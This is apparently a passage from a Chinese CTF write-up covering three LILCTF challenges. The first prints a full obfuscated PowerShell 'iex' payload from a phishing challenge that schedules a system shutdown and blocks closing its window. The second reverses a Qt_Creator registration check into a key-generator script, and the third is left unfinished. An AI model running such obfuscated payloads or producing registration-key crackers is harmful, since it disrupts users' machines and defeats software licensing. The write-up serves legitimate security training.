iex ([CHar]36+[CHar]68+[CHar]101+[CHar]98+[CHar]117+[CHar]103+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]69+[CHar]114+[CHar]114+[CHar]111+[CHar]114+[CHar]65+[CHar]99+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]86+[CHar]101+[CHar]114+[CHar]98+[CHar]111+[CHar]115+[CHar]101+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]87+[CHar]97+[CHar]114+[CHar]110+[CHar]105+[CHar]110+[CHar]103+[CHar]80+[CHar]114+[CHar]101+[CHar]102+[CHar]101+[CHar]114+[CHar]101+[CHar]110+[CHar]99+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]83+[CHar]105+[CHar]108+[CHar]101+[CHar]110+[CHar]116+[CHar]108+[CHar]121+[CHar]67+[CHar]111+[CHar]110+[CHar]116+[CHar]105+[CHar]110+[CHar]117+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]91+[CHar]118+[CHar]111+[CHar]105+[CHar]100+[CHar]93+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]82+[CHar]101+[CHar]102+[CHar]108+[CHar]101+[CHar]99+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]46+[CHar]65+[CHar]115+[CHar]115+[CHar]101+[CHar]109+[CHar]98+[CHar]108+[CHar]121+[CHar]93+[CHar]58+[CHar]58+[CHar]76+[CHar]111+[CHar]97+[CHar]100+[CHar]87+[CHar]105+[CHar]116+[CHar]104+[CHar]80+[CHar]97+[CHar]114+[CHar]116+[CHar]105+[CHar]97+[CHar]108+[CHar]78+[CHar]97+[CHar]109+[CHar]101+[CHar]40+[CHar]34+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]34+[CHar]41+[CHar]13+[CHar]10+[CHar]91+[CHar]118+[CHar]111+[CHar]105+[CHar]100+[CHar]93+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]82+[CHar]101+[CHar]102+[CHar]108+[CHar]101+[CHar]99+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]46+[CHar]65+[CHar]115+[CHar]115+[CHar]101+[CHar]109+[CHar]98+[CHar]108+[CHar]121+[CHar]93+[CHar]58+[CHar]58+[CHar]76+[CHar]111+[CHar]97+[CHar]100+[CHar]87+[CHar]105+[CHar]116+[CHar]104+[CHar]80+[CHar]97+[CHar]114+[CHar]116+[CHar]105+[CHar]97+[CHar]108+[CHar]78+[CHar]97+[CHar]109+[CHar]101+[CHar]40+[CHar]34+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]34+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]115+[CHar]104+[CHar]117+[CHar]116+[CHar]100+[CHar]111+[CHar]119+[CHar]110+[CHar]32+[CHar]47+[CHar]115+[CHar]32+[CHar]47+[CHar]116+[CHar]32+[CHar]54+[CHar]48+[CHar]48+[CHar]32+[CHar]62+[CHar]36+[CHar]78+[CHar]117+[CHar]108+[CHar]108+[CHar]32+[CHar]50+[CHar]62+[CHar]38+[CHar]49+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]67+[CHar]105+[CHar]97+[CHar]108+[CHar]108+[CHar]111+[CHar]65374+[CHar]40+[CHar]8736+[CHar]183+[CHar]969+[CHar]60+[CHar]32+[CHar]41+[CHar]8978+[CHar]9733+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]83+[CHar]116+[CHar]97+[CHar]114+[CHar]116+[CHar]80+[CHar]111+[CHar]115+[CHar]105+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]77+[CHar]97+[CHar]110+[CHar]117+[CHar]97+[CHar]108+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]52+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]40+[CHar]55+[CHar]50+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]77+[CHar]105+[CHar]110+[CHar]105+[CHar]109+[CHar]97+[CHar]108+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]40+[CHar]55+[CHar]50+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]77+[CHar]97+[CHar]120+[CHar]105+[CHar]109+[CHar]97+[CHar]108+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]40+[CHar]55+[CHar]50+[CHar]48+[CHar]44+[CHar]32+[CHar]52+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]66+[CHar]111+[CHar]114+[CHar]100+[CHar]101+[CHar]114+[CHar]83+[CHar]116+[CHar]121+[CHar]108+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]70+[CHar]105+[CHar]120+[CHar]101+[CHar]100+[CHar]68+[CHar]105+[CHar]97+[CHar]108+[CHar]111+[CHar]103+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]66+[CHar]97+[CHar]99+[CHar]107+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]35+[CHar]48+[CHar]48+[CHar]55+[CHar]55+[CHar]67+[CHar]67+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]77+[CHar]97+[CHar]120+[CHar]105+[CHar]109+[CHar]105+[CHar]122+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]70+[CHar]97+[CHar]108+[CHar]115+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]84+[CHar]111+[CHar]112+[CHar]77+[CHar]111+[CHar]115+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]102+[CHar]70+[CHar]49+[CHar]73+[CHar]65+[CHar]52+[CHar]57+[CHar]71+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]76+[CHar]73+[CHar]76+[CHar]67+[CHar]84+[CHar]70+[CHar]123+[CHar]56+[CHar]51+[CHar]95+[CHar]86+[CHar]108+[CHar]54+[CHar]108+[CHar]49+[CHar]65+[CHar]110+[CHar]84+[CHar]95+[CHar]64+[CHar]103+[CHar]52+[CHar]105+[CHar]110+[CHar]115+[CHar]84+[CHar]95+[CHar]112+[CHar]104+[CHar]108+[CHar]53+[CHar]104+[CHar]73+[CHar]78+[CHar]71+[CHar]125+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]102+[CHar]70+[CHar]49+[CHar]73+[CHar]65+[CHar]52+[CHar]57+[CHar]71+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]78+[CHar]48+[CHar]112+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]58+[CHar]41+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]54+[CHar]52+[CHar]44+[CHar]32+[CHar]56+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]65+[CHar]117+[CHar]116+[CHar]111+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]101+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]87+[CHar]104+[CHar]105+[CHar]116+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]40+[CHar]34+[CHar]67+[CHar]111+[CHar]110+[CHar]115+[CHar]111+[CHar]108+[CHar]97+[CHar]115+[CHar]34+[CHar]44+[CHar]32+[CHar]54+[CHar]52+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]36825+[CHar]37324+[CHar]27809+[CHar]26377+[CHar]32+[CHar]102+[CHar]108+[CHar]97+[CHar]103+[CHar]65307+[CHar]36825+[CHar]20010+[CHar]31383+[CHar]21475+[CHar]26159+[CHar]24590+[CHar]20040+[CHar]20986+[CHar]29616+[CHar]30340+[CHar]21602+[CHar]65292+[CHar]102+[CHar]108+[CHar]97+[CHar]103+[CHar]32+[CHar]23601+[CHar]22312+[CHar]37027+[CHar]37324+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]54+[CHar]52+[CHar]44+[CHar]32+[CHar]50+[CHar]52+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]65+[CHar]117+[CHar]116+[CHar]111+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]101+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]87+[CHar]104+[CHar]105+[CHar]116+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]40+[CHar]34+[CHar]24494+[CHar]36719+[CHar]38597+[CHar]40657+[CHar]34+[CHar]44+[CHar]32+[CHar]49+[CHar]54+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]84+[CHar]101+[CHar]120+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]20320+[CHar]30340+[CHar]30005+[CHar]33041+[CHar]23558+[CHar]22312+[CHar]32+[CHar]49+[CHar]48+[CHar]32+[CHar]20998+[CHar]38047+[CHar]21518+[CHar]20851+[CHar]26426+[CHar]65292+[CHar]35831+[CHar]20445+[CHar]23384+[CHar]20320+[CHar]30340+[CHar]24037+[CHar]20316+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]76+[CHar]111+[CHar]99+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]80+[CHar]111+[CHar]105+[CHar]110+[CHar]116+[CHar]40+[CHar]54+[CHar]52+[CHar]44+[CHar]32+[CHar]51+[CHar]48+[CHar]48+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]65+[CHar]117+[CHar]116+[CHar]111+[CHar]83+[CHar]105+[CHar]122+[CHar]101+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]101+[CHar]67+[CHar]111+[CHar]108+[CHar]111+[CHar]114+[CHar]32+[CHar]61+[CHar]32+[CHar]34+[CHar]87+[CHar]104+[CHar]105+[CHar]116+[CHar]101+[CHar]34+[CHar]13+[CHar]10+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]32+[CHar]61+[CHar]32+[CHar]78+[CHar]101+[CHar]119+[CHar]45+[CHar]79+[CHar]98+[CHar]106+[CHar]101+[CHar]99+[CHar]116+[CHar]32+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]68+[CHar]114+[CHar]97+[CHar]119+[CHar]105+[CHar]110+[CHar]103+[CHar]46+[CHar]70+[CHar]111+[CHar]110+[CHar]116+[CHar]40+[CHar]34+[CHar]24494+[CHar]36719+[CHar]38597+[CHar]40657+[CHar]34+[CHar]44+[CHar]32+[CHar]49+[CHar]54+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]67+[CHar]111+[CHar]110+[CHar]116+[CHar]114+[CHar]111+[CHar]108+[CHar]115+[CHar]46+[CHar]65+[CHar]100+[CHar]100+[CHar]82+[CHar]97+[CHar]110+[CHar]103+[CHar]101+[CHar]40+[CHar]64+[CHar]40+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]49+[CHar]44+[CHar]32+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]50+[CHar]44+[CHar]32+[CHar]36+[CHar]76+[CHar]97+[CHar]98+[CHar]101+[CHar]108+[CHar]51+[CHar]41+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]65+[CHar]100+[CHar]100+[CHar]95+[CHar]83+[CHar]104+[CHar]111+[CHar]119+[CHar]110+[CHar]40+[CHar]123+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]65+[CHar]99+[CHar]116+[CHar]105+[CHar]118+[CHar]97+[CHar]116+[CHar]101+[CHar]40+[CHar]41+[CHar]125+[CHar]41+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]65+[CHar]100+[CHar]100+[CHar]95+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]67+[CHar]108+[CHar]111+[CHar]115+[CHar]105+[CHar]110+[CHar]103+[CHar]40+[CHar]123+[CHar]13+[CHar]10+[CHar]32+[CHar]32+[CHar]32+[CHar]32+[CHar]36+[CHar]95+[CHar]46+[CHar]67+[CHar]97+[CHar]110+[CHar]99+[CHar]101+[CHar]108+[CHar]32+[CHar]61+[CHar]32+[CHar]36+[CHar]84+[CHar]114+[CHar]117+[CHar]101+[CHar]13+[CHar]10+[CHar]32+[CHar]32+[CHar]32+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]77+[CHar]101+[CHar]115+[CHar]115+[CHar]97+[CHar]103+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]93+[CHar]58+[CHar]58+[CHar]83+[CHar]104+[CHar]111+[CHar]119+[CHar]40+[CHar]34+[CHar]19981+[CHar]20801+[CHar]35768+[CHar]20851+[CHar]38381+[CHar]65281+[CHar]34+[CHar]44+[CHar]32+[CHar]34+[CHar]25552+[CHar]31034+[CHar]34+[CHar]44+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]77+[CHar]101+[CHar]115+[CHar]115+[CHar]97+[CHar]103+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]66+[CHar]117+[CHar]116+[CHar]116+[CHar]111+[CHar]110+[CHar]115+[CHar]93+[CHar]58+[CHar]58+[CHar]79+[CHar]75+[CHar]44+[CHar]32+[CHar]91+[CHar]83+[CHar]121+[CHar]115+[CHar]116+[CHar]101+[CHar]109+[CHar]46+[CHar]87+[CHar]105+[CHar]110+[CHar]100+[CHar]111+[CHar]119+[CHar]115+[CHar]46+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]115+[CHar]46+[CHar]77+[CHar]101+[CHar]115+[CHar]115+[CHar]97+[CHar]103+[CHar]101+[CHar]66+[CHar]111+[CHar]120+[CHar]73+[CHar]99+[CHar]111+[CHar]110+[CHar]93+[CHar]58+[CHar]58+[CHar]73+[CHar]110+[CHar]102+[CHar]111+[CHar]114+[CHar]109+[CHar]97+[CHar]116+[CHar]105+[CHar]111+[CHar]110+[CHar]41+[CHar]13+[CHar]10+[CHar]125+[CHar]41+[CHar]13+[CHar]10+[CHar]13+[CHar]10+[CHar]36+[CHar]70+[CHar]111+[CHar]114+[CHar]109+[CHar]46+[CHar]83+[CHar]104+[CHar]111+[CHar]119+[CHar]68+[CHar]105+[CHar]97+[CHar]108+[CHar]111+[CHar]103+[CHar]40+[CHar]41+[CHar]32+[CHar]124+[CHar]32+[CHar]79+[CHar]117+[CHar]116+[CHar]45+[CHar]78+[CHar]117+[CHar]108+[CHar]108)
"""
decoded_script = decode_ps_char_obfuscation(obfuscated_script)
print("\n--- 解码后的脚本内容 ---\n")
print(decoded_script)
得到原始代码
得到flag
LILCTF{83_Vl6l1AnT_@g4insT_phl5hING}
Qt_Creator
按照题目要求安装软件,用ida打开exe
目录里面有个网站,网站刚好有关于这个软件的源码
所以看了一下注册机怎么写的,发现注册成功后有一个提示
先去看看注册机的源码反编译,发现一堆字符串,尝试后发现不是,说明这个应该是一个用于生成注册码的字符串
然后尝试去string里面找看看有没有类似提示的
找到了,这个应该就是函数主体了
显而易见逻辑函数就在里面,我们点进去看看
完成对逻辑函数的逆向,生成脚本
逻辑如下:
- 字符索引为偶数,Unicode值加1
- 字符索引为奇数,Unicode值减1
def decrypt_key(encrypted_seed):
decrypted_chars = []
# 使用 enumerate 同时获取索引 i 和字符 char
for i, char in enumerate(encrypted_seed):
# 获取字符的Unicode整数值
original_unicode = ord(char)
if i % 2 == 0: # 索引为偶数
new_unicode = original_unicode + 1
else: # 索引为奇数
new_unicode = original_unicode - 1
# 将新的Unicode值转换回字符并添加到列表中
decrypted_chars.append(chr(new_unicode))
# 将列表中的所有字符连接成最终的字符串
return "".join(decrypted_chars)
if __name__ == "__main__":
encrypted_parts = [
"KJKDS",
"GzR6`",
"bsd5s",
"1q`0t",
"^wdsx",
"`b1mw",
"2oh4mu|"
]
encrypted_seed = "".join(encrypted_parts)
correct_registration_key = decrypt_key(encrypted_seed)
print("--- 注册码解密工具 ---")
print(f"原始加密片段: {encrypted_parts}")
print(f"拼接后的密钥种子: {encrypted_seed}")
print("-" * 25)
print("解密完成!")
print(f"正确的注册码是: {correct_registration_key}")
得到flag
LILCTF{Q7_cre4t0r_1s_very_c0nv3ni3nt}
ARM ASM
首先用jadx查看源代码
然后发现需要去ez_asm_hahaha.so里看一下,导出后用ida打开
逆向思路如下:
base64解码->逆位运算->逆向NEON
没做出来